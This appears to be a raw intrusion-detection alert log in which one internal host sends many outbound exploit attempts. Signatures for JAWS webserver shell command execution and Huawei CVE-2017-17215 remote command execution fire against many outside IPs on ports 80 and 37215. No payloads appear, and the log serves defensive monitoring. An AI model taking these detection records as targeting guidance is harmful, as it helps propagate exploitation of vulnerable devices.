Timestamp:	192.168.2.23208.251.143.7560922802030092 03/05/23-19:06:14.635798
SID:	2030092
Source Port:	60922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.3.248.58

Timestamp:	192.168.2.23154.3.248.5832950802030092 03/05/23-19:06:11.864057
SID:	2030092
Source Port:	32950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.64.119.19

Timestamp:	192.168.2.23203.64.119.1952298802030092 03/05/23-19:06:37.063824
SID:	2030092
Source Port:	52298
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.195.230

Timestamp:	192.168.2.2341.152.195.23047302372152835222 03/05/23-19:05:37.367756
SID:	2835222
Source Port:	47302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.60.248

Timestamp:	192.168.2.23197.197.60.24850324372152835222 03/05/23-19:05:39.765906
SID:	2835222
Source Port:	50324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.31.75.122

Timestamp:	192.168.2.23118.31.75.12242696802030092 03/05/23-19:05:49.236009
SID:	2030092
Source Port:	42696
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.9.7.172

Timestamp:	192.168.2.2323.9.7.17260466802030092 03/05/23-19:06:04.510985
SID:	2030092
Source Port:	60466
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.183.184.96

Timestamp:	192.168.2.2346.183.184.9634792802030092 03/05/23-19:06:50.597143
SID:	2030092
Source Port:	34792
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.41.26.149

Timestamp:	192.168.2.2323.41.26.14959618802030092 03/05/23-19:05:49.080548
SID:	2030092
Source Port:	59618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.161.138.153

Timestamp:	192.168.2.2389.161.138.15358064802030092 03/05/23-19:06:00.299701
SID:	2030092
Source Port:	58064
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.89.218.150

Timestamp:	192.168.2.2380.89.218.15044916802030092 03/05/23-19:06:55.723333
SID:	2030092
Source Port:	44916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.225.157.89

Timestamp:	192.168.2.2341.225.157.8940516802030092 03/05/23-19:05:39.526944
SID:	2030092
Source Port:	40516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.0.181

Timestamp:	192.168.2.23156.162.0.18149644372152835222 03/05/23-19:06:09.173444
SID:	2835222
Source Port:	49644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.221.78

Timestamp:	192.168.2.23197.194.221.7841632372152835222 03/05/23-19:07:25.480172
SID:	2835222
Source Port:	41632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.196.169.190

Timestamp:	192.168.2.2323.196.169.19060500802030092 03/05/23-19:06:11.831293
SID:	2030092
Source Port:	60500
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.42.73

Timestamp:	192.168.2.23197.194.42.7354010372152835222 03/05/23-19:06:47.084867
SID:	2835222
Source Port:	54010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 201.140.214.251

Timestamp:	192.168.2.23201.140.214.25149596802030092 03/05/23-19:07:24.802954
SID:	2030092
Source Port:	49596
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.97.144

Timestamp:	192.168.2.23156.235.97.14446980372152835222 03/05/23-19:07:05.212974
SID:	2835222
Source Port:	46980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.73.248.31

Timestamp:	192.168.2.2323.73.248.3133470802030092 03/05/23-19:07:05.959270
SID:	2030092
Source Port:	33470
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.59.219

Timestamp:	192.168.2.23156.254.59.21942246372152835222 03/05/23-19:06:59.456044
SID:	2835222
Source Port:	42246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.72.147.225

Timestamp:	192.168.2.2364.72.147.22537410802030092 03/05/23-19:07:08.798213
SID:	2030092
Source Port:	37410
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.146.113.10

Timestamp:	192.168.2.23194.146.113.1035012802030092 03/05/23-19:06:04.786716
SID:	2030092
Source Port:	35012
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.45.2.128

Timestamp:	192.168.2.2377.45.2.12844366802030092 03/05/23-19:06:48.805243
SID:	2030092
Source Port:	44366
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.112.35.19

Timestamp:	192.168.2.2361.112.35.1937546802030092 03/05/23-19:07:12.190579
SID:	2030092
Source Port:	37546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.218.68

Timestamp:	192.168.2.23156.162.218.6851174372152835222 03/05/23-19:06:02.221527
SID:	2835222
Source Port:	51174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 86.189.111.17

Timestamp:	192.168.2.2386.189.111.1752514802030092 03/05/23-19:05:48.733356
SID:	2030092
Source Port:	52514
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.32.76.32

Timestamp:	192.168.2.2352.32.76.3259538802030092 03/05/23-19:06:14.713868
SID:	2030092
Source Port:	59538
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.233.100.58

Timestamp:	192.168.2.2318.233.100.5839044802030092 03/05/23-19:05:36.972571
SID:	2030092
Source Port:	39044
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 174.138.19.77

Timestamp:	192.168.2.23174.138.19.7754910802030092 03/05/23-19:07:18.693397
SID:	2030092
Source Port:	54910
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.126.219

Timestamp:	192.168.2.23197.39.126.21952674372152835222 03/05/23-19:05:39.926105
SID:	2835222
Source Port:	52674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.166.189.111

Timestamp:	192.168.2.23156.166.189.11153908372152835222 03/05/23-19:05:58.816454
SID:	2835222
Source Port:	53908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.249.153.128

Timestamp:	192.168.2.2313.249.153.12846838802030092 03/05/23-19:07:13.471776
SID:	2030092
Source Port:	46838
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.173.224

Timestamp:	192.168.2.23197.192.173.22452554372152835222 03/05/23-19:06:25.350767
SID:	2835222
Source Port:	52554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.76.255.92

Timestamp:	192.168.2.235.76.255.9249674802030092 03/05/23-19:06:04.702745
SID:	2030092
Source Port:	49674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.44.236.122

Timestamp:	192.168.2.23212.44.236.12242748802030092 03/05/23-19:07:08.535319
SID:	2030092
Source Port:	42748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.76.22.230

Timestamp:	192.168.2.2345.76.22.23050042802030092 03/05/23-19:05:52.857516
SID:	2030092
Source Port:	50042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.50.244.191

Timestamp:	192.168.2.2323.50.244.19146272802030092 03/05/23-19:06:05.043581
SID:	2030092
Source Port:	46272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.18.141.219

Timestamp:	192.168.2.2372.18.141.21960498802030092 03/05/23-19:06:29.340435
SID:	2030092
Source Port:	60498
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.221.9.30

Timestamp:	192.168.2.2388.221.9.3036736802030092 03/05/23-19:05:44.929646
SID:	2030092
Source Port:	36736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.18.101.210

Timestamp:	192.168.2.2372.18.101.21055184802030092 03/05/23-19:05:55.928348
SID:	2030092
Source Port:	55184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.99.72

Timestamp:	192.168.2.23156.254.99.7233568372152835222 03/05/23-19:07:25.961707
SID:	2835222
Source Port:	33568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.100.212.213

Timestamp:	192.168.2.23104.100.212.21343108802030092 03/05/23-19:07:11.714818
SID:	2030092
Source Port:	43108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.216.174.114

Timestamp:	192.168.2.2318.216.174.11443030802030092 03/05/23-19:07:05.506497
SID:	2030092
Source Port:	43030
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.192.168.9

Timestamp:	192.168.2.2352.192.168.937914802030092 03/05/23-19:06:44.320235
SID:	2030092
Source Port:	37914
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.193.139.209

Timestamp:	192.168.2.2354.193.139.20953774802030092 03/05/23-19:07:11.979774
SID:	2030092
Source Port:	53774
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.103.40

Timestamp:	192.168.2.23156.254.103.4055338372152835222 03/05/23-19:06:15.302135
SID:	2835222
Source Port:	55338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.19.100.82

Timestamp:	192.168.2.232.19.100.8243984802030092 03/05/23-19:06:48.349928
SID:	2030092
Source Port:	43984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 179.228.138.154

Timestamp:	192.168.2.23179.228.138.15459894802030092 03/05/23-19:06:58.825175
SID:	2030092
Source Port:	59894
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.100.158.208

Timestamp:	192.168.2.23138.100.158.20834362802030092 03/05/23-19:06:35.760119
SID:	2030092
Source Port:	34362
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.38.205.82

Timestamp:	192.168.2.2313.38.205.8233896802030092 03/05/23-19:06:58.311538
SID:	2030092
Source Port:	33896
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.188.6.209

Timestamp:	192.168.2.23202.188.6.20959940802030092 03/05/23-19:05:51.122294
SID:	2030092
Source Port:	59940
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.35.28.64

Timestamp:	192.168.2.2341.35.28.6450408802030092 03/05/23-19:06:17.388152
SID:	2030092
Source Port:	50408
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 39.98.179.146

Timestamp:	192.168.2.2339.98.179.14635210802030092 03/05/23-19:05:24.907111
SID:	2030092
Source Port:	35210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.6.17.99

Timestamp:	192.168.2.23213.6.17.9955174802030092 03/05/23-19:07:08.687767
SID:	2030092
Source Port:	55174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.41.163.5

Timestamp:	192.168.2.23185.41.163.548672802030092 03/05/23-19:06:24.746241
SID:	2030092
Source Port:	48672
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.223.203.212

Timestamp:	192.168.2.23104.223.203.21250966802030092 03/05/23-19:06:33.027377
SID:	2030092
Source Port:	50966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.60.105.177

Timestamp:	192.168.2.2345.60.105.17738764802030092 03/05/23-19:07:18.913176
SID:	2030092
Source Port:	38764
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 165.84.237.65

Timestamp:	192.168.2.23165.84.237.6556692802030092 03/05/23-19:06:39.064392
SID:	2030092
Source Port:	56692
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.173.134.155

Timestamp:	192.168.2.2335.173.134.15560578802030092 03/05/23-19:05:46.993723
SID:	2030092
Source Port:	60578
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.46.197.37

Timestamp:	192.168.2.23149.46.197.3759882802030092 03/05/23-19:07:18.911890
SID:	2030092
Source Port:	59882
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.221.160.77

Timestamp:	192.168.2.23124.221.160.7752618802030092 03/05/23-19:07:19.254578
SID:	2030092
Source Port:	52618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.76.192.142

Timestamp:	192.168.2.23104.76.192.14259006802030092 03/05/23-19:07:18.696710
SID:	2030092
Source Port:	59006
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.248.100.43

Timestamp:	192.168.2.23104.248.100.4357838802030092 03/05/23-19:06:43.838086
SID:	2030092
Source Port:	57838
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 73.232.120.172

Timestamp:	192.168.2.2373.232.120.17260502802030092 03/05/23-19:05:55.095617
SID:	2030092
Source Port:	60502
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.9.100.68

Timestamp:	192.168.2.2323.9.100.6841640802030092 03/05/23-19:06:53.397196
SID:	2030092
Source Port:	41640
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.107.43.141

Timestamp:	192.168.2.23206.107.43.14160454802030092 03/05/23-19:06:22.886449
SID:	2030092
Source Port:	60454
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.177.126

Timestamp:	192.168.2.2341.153.177.12644610372152835222 03/05/23-19:06:00.092599
SID:	2835222
Source Port:	44610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.104.104.7

Timestamp:	192.168.2.23104.104.104.746250802030092 03/05/23-19:07:24.580368
SID:	2030092
Source Port:	46250
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 132.205.8.44

Timestamp:	192.168.2.23132.205.8.4459216802030092 03/05/23-19:07:24.916160
SID:	2030092
Source Port:	59216
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 200.139.42.131

Timestamp:	192.168.2.23200.139.42.13157174802030092 03/05/23-19:07:09.235240
SID:	2030092
Source Port:	57174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.10.159

Timestamp:	192.168.2.23156.226.10.15958258372152835222 03/05/23-19:06:15.039091
SID:	2835222
Source Port:	58258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.76.211.96

Timestamp:	192.168.2.2354.76.211.9659846802030092 03/05/23-19:05:46.897522
SID:	2030092
Source Port:	59846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.214.118.132

Timestamp:	192.168.2.2323.214.118.13249178802030092 03/05/23-19:07:15.772978
SID:	2030092
Source Port:	49178
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.39.195.156

Timestamp:	192.168.2.2323.39.195.15636820802030092 03/05/23-19:05:50.952615
SID:	2030092
Source Port:	36820
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.164.243.108

Timestamp:	192.168.2.23202.164.243.10846480802030092 03/05/23-19:06:02.065096
SID:	2030092
Source Port:	46480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.248.151.131

Timestamp:	192.168.2.23185.248.151.13134904802030092 03/05/23-19:06:50.726351
SID:	2030092
Source Port:	34904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 180.150.111.83

Timestamp:	192.168.2.23180.150.111.8350062802030092 03/05/23-19:07:19.399429
SID:	2030092
Source Port:	50062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 145.239.196.89

Timestamp:	192.168.2.23145.239.196.8943884802030092 03/05/23-19:05:48.745071
SID:	2030092
Source Port:	43884
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.54.14.45

Timestamp:	192.168.2.2323.54.14.4537808802030092 03/05/23-19:06:43.870609
SID:	2030092
Source Port:	37808
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.198.219.1

Timestamp:	192.168.2.23156.198.219.137424372152835222 03/05/23-19:06:45.394771
SID:	2835222
Source Port:	37424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.43.171.144

Timestamp:	192.168.2.23195.43.171.14460974802030092 03/05/23-19:07:00.799344
SID:	2030092
Source Port:	60974
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.110.110

Timestamp:	192.168.2.2341.153.110.11041382372152835222 03/05/23-19:05:52.531398
SID:	2835222
Source Port:	41382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.82.162.74

Timestamp:	192.168.2.23104.82.162.7441278802030092 03/05/23-19:06:29.268514
SID:	2030092
Source Port:	41278
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.197.175.183

Timestamp:	192.168.2.2323.197.175.18357086802030092 03/05/23-19:06:30.267260
SID:	2030092
Source Port:	57086
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.71.135.163

Timestamp:	192.168.2.23104.71.135.16345004802030092 03/05/23-19:07:08.824973
SID:	2030092
Source Port:	45004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.42.71.161

Timestamp:	192.168.2.23121.42.71.16137072802030092 03/05/23-19:06:32.846230
SID:	2030092
Source Port:	37072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.16.242

Timestamp:	192.168.2.23197.199.16.24256782372152835222 03/05/23-19:07:18.546551
SID:	2835222
Source Port:	56782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.237.9.187

Timestamp:	192.168.2.2341.237.9.18756534372152835222 03/05/23-19:06:43.034224
SID:	2835222
Source Port:	56534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.32.205.52

Timestamp:	192.168.2.23193.32.205.5251744802030092 03/05/23-19:06:29.316566
SID:	2030092
Source Port:	51744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.228.244.172

Timestamp:	192.168.2.2334.228.244.17241280802030092 03/05/23-19:07:18.562452
SID:	2030092
Source Port:	41280
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.195.233.71

Timestamp:	192.168.2.23118.195.233.7159382802030092 03/05/23-19:05:37.151985
SID:	2030092
Source Port:	59382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.23.169.217

Timestamp:	192.168.2.232.23.169.21750650802030092 03/05/23-19:06:54.006870
SID:	2030092
Source Port:	50650
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.218.79

Timestamp:	192.168.2.23197.192.218.7946352372152835222 03/05/23-19:05:44.203419
SID:	2835222
Source Port:	46352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 42.117.133.228

Timestamp:	192.168.2.2342.117.133.22833072802030092 03/05/23-19:07:21.957247
SID:	2030092
Source Port:	33072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.225.19.124

Timestamp:	192.168.2.2313.225.19.12455008802030092 03/05/23-19:06:48.788247
SID:	2030092
Source Port:	55008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 199.48.182.187

Timestamp:	192.168.2.23199.48.182.18755472802030092 03/05/23-19:05:51.077756
SID:	2030092
Source Port:	55472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.100.1.29

